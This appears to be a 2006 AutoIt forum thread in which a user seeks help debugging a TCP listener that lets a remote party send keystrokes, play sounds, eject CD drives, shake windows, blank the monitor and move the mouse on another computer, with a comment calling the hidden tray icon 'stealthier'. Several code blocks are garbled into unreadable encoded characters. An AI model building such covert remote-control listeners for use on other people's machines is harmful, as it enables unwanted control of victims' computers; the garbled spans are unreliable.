Remote Mouse Moving

[randomboy]

This is part of the Server file:

if StringInStr ( $msg, "MOVEMOUSE:") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:", "")
        MouseMove( $pos2 )oÝ÷ Ø  ݶ¬ÊZ®Ú¶'§µÊy«­¢+ØÀÌØíÁ½ÌÈô5½ÕÍÑA½Ì ¤(ÀÌØíµ½Õ͵½Ùô5½ÕÍÑA½Ì ¤)
ÍÀÌØíµÍôÀÌØíµ½Õ͵½Ù($ÀÌØíµÍôÅÕ½Ðí5=Y5=UMèÅÕ½ÐìµÀì5½ÕÍÑA½Ì ¤($Q
AM¹ ÀÌØí½¹¹ÑM½­Ð°ÀÌØíµÍ¤

Can anyone help me with my script as I don't know why it doesn't work.

Its supposed to make the mouse move on a remote computer.

Edited November 20, 2006 by randomboy

[Helge]

MouseGetPos() returns an array, so you need to put that information into the string somewhere.

|MOVEMOUSE:x,y|

[randomboy]

Right...

[jvanegmond]

To avoid arrays use this:

$msg = "MOVEMOUSE:" & MouseGetPos(0) & ":" & MouseGetPos(1)
TCPSend($connectedSocket,$msg)oÝ÷ Ù±ßÛ!Ú'ßÛaj÷r[iº.¶0jfâ¶*.³*.j·ºÛ¬x¶¸§Ò¶»hrú+y§!w()àr¦jwn²)à!ùh¢jvÞj¢(ºW]¢Øb±«­¢+ØÀÌØíµÍôQ
AIØ ÀÌØíM½­Ð¤)MÝ¥Ñ MÑÉ¥¹1Ð ÀÌØíM½­Ð°Ì¤ì±°å½ÕȽµµ¹Ì¡ÙѼѡ͵±¹¡Ð¸¸]¡¥ ¥Ì=,ÌÙ¹ÑÕ±±äÑ¡¹µÕÍÈݽ¸ÌäíСÙѼÕÍѡͽµµ¹Ì½¹°¹å½Ô¸ÕÍÉ٥ѥ½¹ÌÍÕ Ì5M4½È5M5X¸(
ÍÅÕ½Ðí5M4ÅÕ½Ðì(ÀÌØíMÁ±¥ÐôMÑÉ¥¹MÁ±¥Ð ÀÌØíµÍ°ÅÕ½ÐìèÅÕ½Ðì¤(5½ÕÍ5½Ù ÀÌØíMÁ±¥ÑlÅt°ÀÌØíMÁ±¥ÑlÉt¤)¹MÝ¥Ñ

Edited November 20, 2006 by Manadar

[Helge]

You didn't get that ? Basically something like this...

$pos = MouseGetPos()
$msg = "MOVEMOUSE:" & $pos[0] & "," & $pos[1]

You then just grab the coordinates from the string, but note that you might want

to consider splitting up the received data at a separator, as I doubt you will get the

coordinates in "proper" chunks.

[Valuater]

too late

8)

Edited November 20, 2006 by Valuater

[randomboy]

Ok I've done all this but I keep getting the error, that i don't have an 'endif' on one of the 'if' statements but i've checked the entire source code and it seems fine. I'll post it

Server Code:

expandcollapse popup

TCPStartup()

$ipAddress = @IPAddress1
$portAddress = 666
MsgBox ( 4096, "Rokken like Dokken", "Listening on IP: " & $ipAddress & " and PORT: " & $portAddress, 5 )

;HotKeySet("`","goAway")
; hide the try icon... it's more stealthier that way...
Opt("TrayIconHide", 0)


$MainSocket = TCPListen($ipAddress, $portAddress)

$cdStatus = "open"
$driveArray = DriveGetDrive("CDROM")

While 1
  Do
    $ConnectedSocket = TCPAccept($MainSocket)
  Until $ConnectedSocket > 0

  $err = 0
  Do
    $msg = TCPRecv($ConnectedSocket,512)
    $err = @error
    IF StringLen($msg) THEN
      ;trayTip("server",$msg, 30)

      ; go through the various messages to process them accordingly...

      ; sounds being sent...
      if StringInStr ( $msg, "SOUNDSEND:") THEN
        $sndFile = "http://officepoltergeist.com/sound/" & StringReplace ( $msg, "SOUNDSEND:", "") & ".mp3"
        ;trayTip("server",$sndFile, 30)
        SoundSetWaveVolume (100); turn up the volume
        SoundPlay ($sndFile, 0); play the sound!
      endIf

      ; text being sent to keyboards...
      if StringInStr ( $msg, "KEYBOARDSEND:") THEN
        $keyboardSendText = StringReplace ( $msg, "KEYBOARDSEND:", "")
        Send ($keyboardSendText, 1)
      endIf

      ; mess with the cd drives a bit...
      if StringInStr ($msg, "OPENCLOSECD:") THEN
        For $i = 1 to $driveArray[0]
          CDTray ( $driveArray[$i], $cdStatus)
        Next
        if $cdStatus = "open" THEN
          $cdStatus = "closed"
        else
          $cdStatus = "open"
        endIf
      endIf

      ; alert box!!!
      if StringInStr ( $msg, "ALERTBOX:") THEN
        $alertBoxText = StringReplace ( $msg, "ALERTBOX:", "")
        MsgBox ( 4096, "", $alertBoxText, 5 )
      endIf

      ; window shake
      if StringInStr ( $msg, "WINDOWSHAKE:") THEN
        windowShake()
      endIf

      ; screen flicker
      if StringInStr ( $msg, "SCREENFLICKER:") THEN
        screenFlicker()
      endIf

      ; move left
      if StringInStr ( $msg, "MOVELEFT:") THEN
        moveLeft()
      endIf

      ; move right
      if StringInStr ( $msg, "MOVERIGHT:") THEN
        moveRight()
      endIf


      if StringInStr ( $msg, "EXIT:") THEN
        goAway()

      if StringInStr ( $msg, "Beep") THEN
        Beep(500, 50)
      endIf
      
      if StringInStr ( $msg, "MOVEMOUSE:x,y") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:x,y", "")
        MouseMove( $pos2[0] & $pos2[1] )
     endif
    endIf

  Until $err
    TCPCloseSocket($ConnectedSocket)
WEnd
; end of the main loop


func goAway()
  TCPShutdown()
  Exit
endFunc


func windowShake()
  ; script to shake the current window...
  $windowArray = WinList()

  ; set up some of the shake parameters
  $numShakes = 30
  $shakeIntensity = 10
  $shakeDelay = 20

  For $i = 1 to $windowArray[0][0]
    ; loop through to find the active window... and shake it...
    If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      ; shake it like a salt shaka
      For $x = 1 to $numShakes
        if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1
        WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity)
        sleep(10)
        WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1])
      Next
    EndIf
  Next
endFunc


func screenFlicker()
  Opt("WinTitleMatchMode", 4)
  $WM_SYSCommand = 274
  $SC_MonitorPower = 61808
  $Power_On = -1
  $Power_Off = 2
  $X = 1
  $HWND = WinGetHandle("classname=Progman")
  DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_Off)
  DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_On)
endFunc


func moveLeft()
  ; set a parameter
  $numPixelsToMove = 5

  $windowArray = WinList()
  For $i = 1 to $windowArray[0][0]
    If $windowArray[$i][0] <> "" AND IsVisible($windowArray[$i][1]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      WinMove ( $windowArray[$i][0], "", $posArray[0]-$numPixelsToMove,   $posArray[1])
    EndIf
  Next
endFunc


func moveRight()
  ; set a parameter
  $numPixelsToMove = 5

  $windowArray = WinList()
  For $i = 1 to $windowArray[0][0]
    If $windowArray[$i][0] <> "" AND IsVisible($windowArray[$i][1]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      WinMove ( $windowArray[$i][0], "", $posArray[0]+$numPixelsToMove,   $posArray[1])
    EndIf
  Next
endFunc

func isVisible($handle)
  If BitAnd( WinGetState($handle), 2 ) Then
    Return 1
  Else
    Return 0
  EndIf
EndFuncoÝ÷ Ø)bz{B¡×ºÚ"µÍÚ[ÛYH    ÑÕRPÛÛÝ[ÉÝÂÔÝ

BÌÍÚYÜÈHÝ[Ê[]Þ
    ][ÝÔÛÙZÝÛÛÛ ][ÝË  ][ÝÑ[YÜÈÈ][][ÝËTYÜÌJJBY    ÌÍÚYÜÈH    ][ÝÉ][ÝÈ[   ÌÍÚYÜÈHTYÜÌBÌÍÜÜYÜÈH
ÌÍØÛÛXÝYÛØÚÙ]HÔÛÛXÝ
    ÌÍÚYÜË ÌÍÜÜYÜÊBYÜÜ ÌÍØÛÛXÝYÛØÚÙ] ÈHSÙÐÞ
    ][ÝÑÕRH][    ][ÝË  ][ÝÐÛÝ[ÝÛÛXÝÈT ][ÝÈ  [È ÌÍÚYÜÈ [È ][ÝÈ[Ô   ][ÝÈ  [È ÌÍÜÜYÜÊBVU[YÈÑUTHPRSÕRBÕRPÜX]J   ][ÝÓÙXÙTÛÙZÝÛÛÛ   ][ÝË
ÍL
BÕRPÝÜX]SX[
    ][ÝÓÙXÙTÛÙZÝKI][ÝÈ [ÈÔ   [È ][ÝÚËÛÙXÙÛÙZÝÛÛI][ÝËÌLÌÌ
BÕRPÝÜX]SX[
    ][ÝÑÝ[][ÛTYÜÎ][ÝËÌ
L
BÌÍÚÝ[][ÛHÕRPÝÜX]R[]
TYÜÌKÌ
KL
BÌÍÛÜ[ÛÜÙPÑÛÝ[]ÛHÕRPÝÜX]P]Û  ][ÝÓÜ[ÐÛÜÙHÑ    ][ÝËL
L
BÕRPÝÜX]SX[
    ][ÝÔÙ[HÛÝ[][ÝËÌL
BÌÍÜÛÝ[ÛÛXÓY[HHÕRPÝÜX]PÛÛXÈ
    ][ÝÛ]YÚ  ][ÝËÌL
KML
HÈÜX]HÝ][BÕRPÝÙ]]J    ÌÍÜÛÝ[ÛÛXÓY[K   ][ÝÚÝÛXÛÝ[[Ø[ÞXÚßØÜX[_[Ú[  ][ÝÊHÈYÝ][HÛÙ]H]ÈY][ÌÍÜÙ[ÛÝ[]ÛHÕRPÝÜX]P]Û ][ÝÔÙ[ÛÝ[  ][ÝËLLËL
BÕRPÝÜX]SX[
    ][ÝÔÙ[^ÈÙ^XØ][ÝËÌLÌ
BÌÍÚÙ^XØ^HÕRPÝÜX]R[]
    ][ÝÒ[ÈI][ÝËÌM
KL
BÌÍÜÙ[Ù^XØ]ÛHÕRPÝÜX]P]Û  ][ÝÔÙ[^  ][ÝËLMËL
BÕRPÝÜX]SX[
    ][ÝÔÚÝÈ[Þ][ÝËÌMÌ
BÌÍØ[Þ^HÕRPÝÜX]R[]
    ][ÝÒ
Ñ  ][ÝËÌN
KL
BÌÍØ[Þ]ÛHÕRPÝÜX]P]Û    ][ÝÔÙ[YÜØYÙI][ÝËLNËL
BÕRPÝÜX]SX[
    ][ÝÓ[Û]ÜYXÝÎ][ÝËÌL
BÌÍÜØÜY[XÚÙ]ÛHÕRPÝÜX]P]Û    ][ÝÔØÜY[XÚÙ][ÝËÌKL
BÌÍÝÚ[ÝÔÚZÙP]ÛHÕRPÝÜX]P]Û  ][ÝÕÚ[ÝÈÚZÙI][ÝËLKL
BÌÍÛ[ÝSY]ÛHÕRPÝÜX]P]Û  ][ÝÓ[ÝHY ][ÝËÌLL
BÌÍÛ[ÝTYÚ]ÛHÕRPÝÜX]P]Û    ][ÝÓ[ÝHYÚ   ][ÝËLLL
BÌÍÜÚ]ÝÛÛY[]ÛHÕRPÝÜX]P]Û    ][ÝÔÚ]ÝÛÙ][ÝËLÌ
KL
BÌÍØYÛÝ[HÕRPÝÜX]P]Û    ][ÝÐY ][ÝËÌL
BÌÍØYÛÝ[HY
LBÌÍÜÜÌH[ÝÙQÙ]ÜÊ
BÌÍÛ[ÝÙ[[ÝHH[ÝÙQÙ]ÜÊ
BÕRTÙ]Ý]JÕ×ÔÒÕÊBÈSTIÌÎNÔÈHPRSÓÔÌÍÜX][ÜÛHH  ][ÝÞYÉ][ÝÂÚ[H ÌÍÜX][ÜÛHH ][ÝÞYÉ][ÝÂ ÌÍÛÙÈHÕRQÙ]ÙÊ
B   ÌÍÜÜYÜÈHLÌL    ÌÍÚYÜÈHÕRPÝXY
    ÌÍÚÝ[][ÛNÂÈSHÓÓSPSÂÙ[XÝØÙH    ÌÍÛÙÈH ÌÍÜÙ[ÛÝ[]Û   ÌÍÛÙÈH ][ÝÔÓÕSÑS][ÝÈ    [ÈÕRPÝXY
    ÌÍÜÛÝ[ÛÛXÓY[JBÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜÙ[Ù^XØ]Û  ÌÍÛÙÈH ][ÝÒÑVPÐTÑS][ÝÈ  [ÈÕRPÝXY
    ÌÍÚÙ^XØ^
BÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍØ[Þ]Û    ÌÍÛÙÈH ][ÝÐSTÖ][ÝÈ    [ÈÕRPÝXY
    ÌÍØ[Þ^
BÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛÜ[ÛÜÙPÑÛÝ[]Û  ÌÍÛÙÈH ][ÝÓÔSÓÔÑPÑ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜØÜY[XÚÙ]Û    ÌÍÛÙÈH ][ÝÔÐÔQSPÒÑT][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÝÚ[ÝÔÚZÙP]Û  ÌÍÛÙÈH ][ÝÕÒSÕÔÒRÑN][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜÚ]ÝÛÛY[]Û    ÌÍÛÙÈH ][ÝÑVU][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛ[ÝSY]Û  ÌÍÛÙÈH ][ÝÓSÕSQ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛ[ÝTYÚ]Û    ÌÍÛÙÈH ][ÝÓSÕTQÒ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍØYÛÝ[H   ÌÍÛÙÈH ][ÝÐY ][ÝÂHÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBPØÙH   ÌÍÛÙÈH ÌÍÛ[ÝÙ[[ÝB    ÌÍÛÙÈH ][ÝÓSÕSSÕTÑN][ÝÈ [È[ÝÙQÙ]ÜÊ
H   [È ][ÝÎ][ÝÈ    [È[ÝÙQÙ]ÜÊJBÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÑÕRWÑUSÐÓÔÑB^]ÛÜ[Ù[XÝÑ[ÈSÑHÓÔÔÚ]ÝÛ

The error is in the server source code but i posted both just in case.

Edited November 20, 2006 by randomboy

[jvanegmond]

Download and install SciTe4AutoIt3, and open your script and press Alt + T, it automatically gives your script proper formatting and will tell you sometimes where your script is wrong.

Edit:

It was easy to find though.

func windowShake()
  ; script to shake the current window...
  $windowArray = WinList()

  ; set up some of the shake parameters
  $numShakes = 30
  $shakeIntensity = 10
  $shakeDelay = 20

  For $i = 1 to $windowArray[0][0]
    ; loop through to find the active window... and shake it...
    If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      ; shake it like a salt shaka
      For $x = 1 to $numShakes  ; <== HERE!!!!!!!!!!!
        if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1  ; <== HERE!!!!!!!!!!!
        WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity)
        sleep(10)
        WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1])
      Next ; <== HERE!!!!!!!!!!!
    EndIf ; <== HERE!!!!!!!!!!!
  Next
endFunc

Edited November 20, 2006 by Manadar

[randomboy]

Tried it.

Didn't work.

EDIT: The bit you pointed to wasn't the problem. it was

if StringInStr ( $msg, "MOVEMOUSE:x,y") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:x,y", "")
        MouseMove( $pos2[0] & $pos2[1] )
     endif
    endIf 

  Until $err;<=====HERE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    TCPCloseSocket($ConnectedSocket)
WEnd
; end of the main loop

The 'until' statement was the problem apparently.

Edited November 20, 2006 by randomboy

[jvanegmond]

The part I pointed out is clearly wrong to me. I don't know how AutoIt is abled to execute the code you put into it.. Unless you've changed it already.

Edit: Smileys are a bitch.

Edited November 20, 2006 by Manadar

[randomboy]

Well before i edited the code for this script it worked perfectly fine but until i added the mousemove statement it just screwed up.